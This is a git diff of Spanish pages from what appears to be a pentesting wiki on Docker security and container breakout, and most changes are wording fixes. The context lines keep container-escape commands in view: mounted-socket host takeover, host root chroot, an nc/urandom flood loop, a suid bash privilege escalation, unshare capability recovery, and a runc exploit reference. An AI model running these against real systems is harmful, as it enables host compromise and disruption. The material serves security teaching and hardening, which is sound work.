+- Para los envíos de imágenes posteriores al primero, Docker solicita la frase de paso de la clave del repositorio para firmar la imagen.
Para respaldar tus claves privadas, utiliza el comando:
```bash
@@ -117,7 +117,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
Está habilitado por defecto en Docker. Ayuda a **limitar aún más las syscalls** que el proceso puede llamar.\
-El **perfil Seccomp por defecto de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
+El **perfil de Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
@@ -141,6 +141,7 @@ Docker utiliza los siguientes Namespaces del núcleo de Linux para lograr la ais
Para **más información sobre los namespaces** consulta la siguiente página:
+
{{#ref}}
namespaces/
{{#endref}}
@@ -148,7 +149,7 @@ namespaces/
### cgroups
La característica del núcleo de Linux **cgroups** proporciona la capacidad de **restringir recursos como cpu, memoria, io, ancho de banda de red entre** un conjunto de procesos. Docker permite crear Contenedores utilizando la característica cgroup que permite el control de recursos para el Contenedor específico.\
-A continuación se muestra un Contenedor creado con memoria de espacio de usuario limitada a 500m, memoria del núcleo limitada a 50m, participación de cpu a 512, blkioweight a 400. La participación de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma participación de CPU de 1024, cada Contenedor puede utilizar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla el IO del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
+A continuación se muestra un Contenedor creado con espacio de memoria de usuario limitado a 500m, memoria del núcleo limitada a 50m, participación de cpu a 512, blkioweight a 400. La participación de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma participación de CPU de 1024, cada Contenedor puede utilizar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla el IO del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@@ -166,9 +167,9 @@ cgroups.md
### Capacidades
-Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
+Las capacidades permiten un **control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
-Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar:
+Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no pueda realizar acciones sensibles y escapar:
{{#ref}}
../linux-capabilities.md
@@ -194,9 +195,9 @@ apparmor.md
- **Sistema de Etiquetado**: SELinux asigna una etiqueta única a cada proceso y objeto del sistema de archivos.
- **Aplicación de Políticas**: Aplica políticas de seguridad que definen qué acciones puede realizar una etiqueta de proceso sobre otras etiquetas dentro del sistema.
-- **Etiquetas de Proceso de Contenedor**: Cuando los motores de contenedores inician procesos de contenedor, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`.
+- **Etiquetas de Procesos de Contenedor**: Cuando los motores de contenedor inician procesos de contenedor, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`.
- **Etiquetado de Archivos dentro de Contenedores**: Los archivos dentro del contenedor suelen estar etiquetados como `container_file_t`.
-- **Reglas de Política**: La política de SELinux asegura principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`.
+- **Reglas de Políticas**: La política de SELinux asegura principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`.
Este mecanismo asegura que incluso si un proceso dentro de un contenedor se ve comprometido, está confinado a interactuar solo con objetos que tienen las etiquetas correspondientes, limitando significativamente el daño potencial de tales compromisos.
@@ -233,7 +234,7 @@ docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :;
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done
```
-## Banderas de Docker Interesantes
+## Banderas interesantes de Docker
### Banderas --privileged
@@ -274,7 +275,7 @@ Para más opciones de **`--security-opt`** consulta: [https://docs.docker.com/en
### Gestión de Secretos: Mejores Prácticas
-Es crucial evitar incrustar secretos directamente en las imágenes de Docker o usar variables de entorno, ya que estos métodos exponen tu información sensible a cualquiera con acceso al contenedor a través de comandos como `docker inspect` o `exec`.
+Es crucial evitar incrustar secretos directamente en las imágenes de Docker o usar variables de entorno, ya que estos métodos exponen tu información sensible a cualquiera que tenga acceso al contenedor a través de comandos como `docker inspect` o `exec`.
**Los volúmenes de Docker** son una alternativa más segura, recomendada para acceder a información sensible. Pueden ser utilizados como un sistema de archivos temporal en memoria, mitigando los riesgos asociados con `docker inspect` y el registro. Sin embargo, los usuarios root y aquellos con acceso `exec` al contenedor aún podrían acceder a los secretos.
@@ -317,32 +318,32 @@ https://github.com/google/gvisor
### Kata Containers
-**Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y rinden como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
+**Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y funcionan como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
{{#ref}}
https://katacontainers.io/
{{#endref}}
-### Resumen de Consejos
+### Consejos Resumidos
- **No utilice la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
-- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está restringido ligeramente por, principalmente, namespaces de Linux, capacidades y cgroups.
-- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque.
+- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está solo ligeramente restringido por, principalmente, namespaces de Linux, capacidades y cgroups.
+- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan ninguna capacidad y agregarlas aumenta el alcance de un posible ataque.
- [**Utilice la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
- [**Limite los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
- **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** perfiles para restringir las acciones y syscalls disponibles para el contenedor al mínimo requerido.
- **Utilice** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official_images/) **y requiera firmas** o construya las suyas propias basadas en ellas. No herede ni use imágenes [con puerta trasera](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También almacene claves raíz y frases de paso en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
- **Reconstruya regularmente** sus imágenes para **aplicar parches de seguridad al host y a las imágenes.**
- Gestione sus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
-- Si **expone el daemon de docker, use HTTPS** con autenticación de cliente y servidor.
-- En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos de URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
+- Si **expone el demonio de Docker, use HTTPS** con autenticación de cliente y servidor.
+- En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos desde URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
- Tenga **contenedores separados para cada microservicio.**
- **No ponga ssh** dentro del contenedor, “docker exec” se puede usar para ssh al contenedor.
- Tenga **imágenes de contenedor más pequeñas.**
## Docker Breakout / Escalación de Privilegios
-Si está **dentro de un contenedor de docker** o tiene acceso a un usuario en el **grupo de docker**, podría intentar **escapar y escalar privilegios**:
+Si está **dentro de un contenedor de Docker** o tiene acceso a un usuario en el **grupo de Docker**, podría intentar **escapar y escalar privilegios**:
{{#ref}}
docker-breakout-privilege-escalation/
@@ -350,7 +351,7 @@ docker-breakout-privilege-escalation/
## Bypass del Plugin de Autenticación de Docker
-Si tiene acceso al socket de docker o tiene acceso a un usuario en el **grupo de docker pero sus acciones están siendo limitadas por un plugin de autenticación de docker**, verifique si puede **eludirlo:**
+Si tiene acceso al socket de Docker o tiene acceso a un usuario en el **grupo de Docker pero sus acciones están siendo limitadas por un plugin de autenticación de Docker**, verifique si puede **eludirlo:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@@ -359,7 +360,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Endurecimiento de Docker
- La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de mejores prácticas comunes en torno al despliegue de contenedores Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
-Necesita ejecutar la herramienta desde el host que ejecuta docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
+Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referencias
diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
index 21654c4d3..0acdb9d4f 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
@@ -12,7 +12,7 @@
## Escape del Socket de Docker Montado
-Si de alguna manera encuentras que el **socket de docker está montado** dentro del contenedor de docker, podrás escapar de él.\
+Si de alguna manera descubres que el **socket de docker está montado** dentro del contenedor de docker, podrás escapar de él.\
Esto suele ocurrir en contenedores de docker que por alguna razón necesitan conectarse al demonio de docker para realizar acciones.
```bash
#Search the socket
@@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
-> [!NOTE]
+> [!TIP]
> En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///path/to/docker.sock`**
El daemon de Docker también podría estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el daemon de Docker puede ocurrir a través del socket de Systemd `fd://`.
-> [!NOTE]
+> [!TIP]
> Además, presta atención a los sockets de tiempo de ejecución de otros entornos de alto nivel:
>
> - dockershim: `unix:///var/run/dockershim.sock`
@@ -113,7 +113,7 @@ mount /dev/sda1 /mnt/hola
#### Montaje de Disco - Poc2
-Dentro del contenedor, un atacante puede intentar obtener un acceso adicional al sistema operativo subyacente del host a través de un volumen hostPath escribible creado por el clúster. A continuación se presentan algunas cosas comunes que puedes verificar dentro del contenedor para ver si puedes aprovechar este vector de ataque:
+Dentro del contenedor, un atacante puede intentar obtener un acceso adicional al sistema operativo del host subyacente a través de un volumen hostPath escribible creado por el clúster. A continuación se presentan algunas cosas comunes que puedes verificar dentro del contenedor para ver si puedes aprovechar este vector de ataque:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@@ -216,7 +216,7 @@ Encuentra una **explicación de la técnica** en:
docker-release_agent-cgroups-escape.md
{{#endref}}
-#### Escape Privilegiado Abusando de release_agent sin conocer la ruta relativa - PoC3
+#### Escape privilegiado abusando de release_agent sin conocer la ruta relativa - PoC3
En los exploits anteriores, se **divulga la ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, este no siempre es el caso. En casos donde **no conoces la ruta absoluta del contenedor dentro del host**, puedes usar esta técnica:
@@ -313,7 +313,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
#### Escape de Privilegios Abusando de Montajes Sensibles
Hay varios archivos que pueden estar montados que dan **información sobre el host subyacente**. Algunos de ellos pueden incluso indicar **algo que debe ser ejecutado por el host cuando sucede algo** (lo que permitirá a un atacante escapar del contenedor).\
-El abuso de estos archivos puede permitir que:
+El abuso de estos archivos puede permitir lo siguiente:
- release_agent (ya cubierto antes)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
@@ -333,10 +333,12 @@ En varias ocasiones encontrarás que el **contenedor tiene algún volumen montad
```bash
docker run --rm -it -v /:/host ubuntu bash
```
-### Escalación de privilegios con 2 shells y montaje de host
+Otro ejemplo interesante se puede encontrar en [**este blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) donde se indica que las carpetas `/usr/bin/` y `/bin/` del host están montadas dentro del contenedor, lo que permite al usuario root del contenedor modificar binarios dentro de estas carpetas. Por lo tanto, si un trabajo cron está utilizando algún binario de allí, como `/etc/cron.d/popularity-contest`, esto permite escapar del contenedor al modificar un binario utilizado por el trabajo cron.
+
+### Escalación de privilegios con 2 shells y montaje del host
Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario no privilegiado al host** y tienes acceso de lectura sobre la carpeta montada.\
-Puedes crear un **archivo suid de bash** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para escalar privilegios.
+Puedes crear un **archivo suid de bash** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@@ -346,12 +348,12 @@ bash -p #From non priv inside mounted folder
```
### Escalación de privilegios con 2 shells
-Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **privesc dentro del host** si tienes la capacidad MKNOD dentro del contenedor (es por defecto) como [**se explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
+Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **privesc dentro del host** si tienes la capacidad MKNOD dentro del contenedor (es por defecto) como [**se explica en este post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tal capacidad, el usuario root dentro del contenedor puede **crear archivos de dispositivos de bloque**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso para **leer los datos en bruto del disco del sistema**.
-Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del **/proc/PID/root/** directorio. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor.
+Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor.
-Ejemplo de **explotación** de este [**informe**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
+Ejemplo de **explotación** de este [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@@ -440,12 +442,12 @@ docker run --rm -it --ipc=host ubuntu bash
```
Con `hostIPC=true`, obtienes acceso a los recursos de comunicación entre procesos (IPC) del host, como **memoria compartida** en `/dev/shm`. Esto permite leer/escribir donde los mismos recursos IPC son utilizados por otros procesos del host o del pod. Usa `ipcs` para inspeccionar estos mecanismos IPC más a fondo.
-- **Inspeccionar /dev/shm** - Busca archivos en esta ubicación de memoria compartida: `ls -la /dev/shm`
+- **Inspeccionar /dev/shm** - Busca cualquier archivo en esta ubicación de memoria compartida: `ls -la /dev/shm`
- **Inspeccionar instalaciones IPC existentes** – Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
### Recuperar capacidades
-Si la syscall **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando:
+Si la llamada al sistema **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando:
```bash
unshare -UrmCpf bash
# Check them with
@@ -459,7 +461,7 @@ La segunda técnica explicada en la publicación [https://labs.withsecure.com/bl
### Exploit de Runc (CVE-2019-5736)
-En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el _**/bin/sh**_ binario del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil.
+En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil.
Cambia la carga útil en consecuencia y construye el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de docker para su ejecución.\
Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, necesitas ejecutar lo siguiente desde la máquina host:
@@ -470,14 +472,14 @@ Esto activará la carga útil que está presente en el archivo main.go.
Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
-> [!NOTE]
+> [!TIP]
> Hay otros CVEs a los que el contenedor puede ser vulnerable, puedes encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Escape Personalizado de Docker
### Superficie de Escape de Docker
-- **Espacios de nombres:** El proceso debe estar **completamente separado de otros procesos** a través de espacios de nombres, por lo que no podemos escapar interactuando con otros procs debido a los espacios de nombres (por defecto no pueden comunicarse a través de IPCs, sockets unix, servicios de red, D-Bus, `/proc` de otros procs).
+- **Espacios de nombres:** El proceso debe estar **completamente separado de otros procesos** a través de espacios de nombres, por lo que no podemos escapar interactuando con otros procesos debido a los espacios de nombres (por defecto no pueden comunicarse a través de IPCs, sockets unix, servicios de red, D-Bus, `/proc` de otros procesos).
- **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios son limitados).
- **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: Estas son las syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Las otras syscalls podrían usarse para intentar escapar.
@@ -506,7 +508,7 @@ Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-esca
```
{{#endtab}}
-{{#tab name="syscalls arm64"}}
+{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
index 4369ae257..69d23da99 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
@@ -64,7 +64,7 @@ El sistema de archivos **/proc** es selectivamente escribible, pero por razones
> [!NOTE] > **tmpfs** es un sistema de archivos que almacena todos los archivos en memoria virtual. tmpfs no crea ningún archivo en tu disco duro. Así que si desmontas un sistema de archivos tmpfs, todos los archivos que residen en él se pierden para siempre.
{{#tabs}}
-{{#tab name="Dentro del contenedor predeterminado"}}
+{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@@ -147,11 +147,11 @@ Seccomp_filters: 0
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
-También, ten en cuenta que cuando Docker (u otros CRIs) se utilizan en un **Kubernetes** cluster, el **filtro seccomp está deshabilitado por defecto**.
+También, ten en cuenta que cuando se utilizan Docker (u otros CRIs) en un clúster de **Kubernetes**, el **filtro seccomp está deshabilitado por defecto**.
### AppArmor
-**AppArmor** es una mejora del kernel para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada.
+**AppArmor** es una mejora del núcleo para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada.
{{#ref}}
apparmor.md
@@ -162,7 +162,8 @@ apparmor.md
```
### SELinux
-Ejecutar un contenedor con la bandera `--privileged` desactiva **las etiquetas de SELinux**, haciendo que herede la etiqueta del motor de contenedores, típicamente `unconfined`, otorgando acceso completo similar al del motor de contenedores. En modo sin privilegios, utiliza `container_runtime_t`, mientras que en modo root, se aplica `spc_t`.
+Ejecutar un contenedor con la bandera `--privileged` desactiva las **etiquetas de SELinux**, haciendo que herede la etiqueta del motor de contenedores, típicamente `unconfined`, otorgando acceso completo similar al del motor de contenedores. En modo sin root, utiliza `container_runtime_t`, mientras que en modo root, se aplica `spc_t`.
+
{{#ref}}
../selinux.md
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
index 6df879add..1e23cd36f 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
@@ -4,42 +4,49 @@
### **PID namespace**
+
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
+
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
+
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
+
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
+
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
+
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
+
{{#ref}}
user-namespace.md
{{#endref}}
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index 38e2b36cf..da6de0494 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -4,7 +4,7 @@
## Información Básica
-Un cgroup namespace es una característica del kernel de Linux que proporciona **aislamiento de jerarquías de cgroup para procesos que se ejecutan dentro de un namespace**. Los cgroups, abreviatura de **grupos de control**, son una característica del kernel que permite organizar procesos en grupos jerárquicos para gestionar y hacer cumplir **límites en los recursos del sistema** como CPU, memoria y E/S.
+Un cgroup namespace es una característica del núcleo de Linux que proporciona **aislamiento de jerarquías de cgroup para procesos que se ejecutan dentro de un namespace**. Los cgroups, abreviatura de **grupos de control**, son una característica del núcleo que permite organizar procesos en grupos jerárquicos para gestionar y hacer cumplir **límites en los recursos del sistema** como CPU, memoria y E/S.
Aunque los cgroup namespaces no son un tipo de namespace separado como los otros que discutimos anteriormente (PID, mount, network, etc.), están relacionados con el concepto de aislamiento de namespace. **Los cgroup namespaces virtualizan la vista de la jerarquía de cgroup**, de modo que los procesos que se ejecutan dentro de un cgroup namespace tienen una vista diferente de la jerarquía en comparación con los procesos que se ejecutan en el host u otros namespaces.
@@ -34,7 +34,7 @@ Al montar una nueva instancia del sistema de archivos `/proc` si usas el paráme
Error: bash: fork: Cannot allocate memory
-Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (Identificación de Proceso). Los detalles clave y la solución se describen a continuación:
+Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Explicación del Problema**:
@@ -48,7 +48,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
3. **Solución**:
- El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
-- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
+- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
@@ -58,7 +58,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Verifica en qué namespace está tu proceso
+### Verifica en qué namespace se encuentra tu proceso
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
index 67eaa9393..30ba2386d 100644
--- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
+++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
@@ -9,7 +9,7 @@
## Escapes de Chroot
De [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): El mecanismo chroot **no está destinado a defenderse** contra manipulaciones intencionales por parte de **usuarios privilegiados** (**root**). En la mayoría de los sistemas, los contextos chroot no se apilan correctamente y los programas chrooted **con suficientes privilegios pueden realizar un segundo chroot para escapar**.\
-Generalmente, esto significa que para escapar necesitas ser root dentro del chroot.
+Por lo general, esto significa que para escapar necesitas ser root dentro del chroot.
> [!TIP]
> La **herramienta** [**chw00t**](https://github.com/earthquake/chw00t) fue creada para abusar de los siguientes escenarios y escapar de `chroot`.
@@ -17,11 +17,11 @@ Generalmente, esto significa que para escapar necesitas ser root dentro del chro
### Root + CWD
> [!WARNING]
-> Si eres **root** dentro de un chroot **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta siendo **tú fuera de ella**, ahora estarás **fuera del nuevo chroot** y, por lo tanto, estarás en el FS.
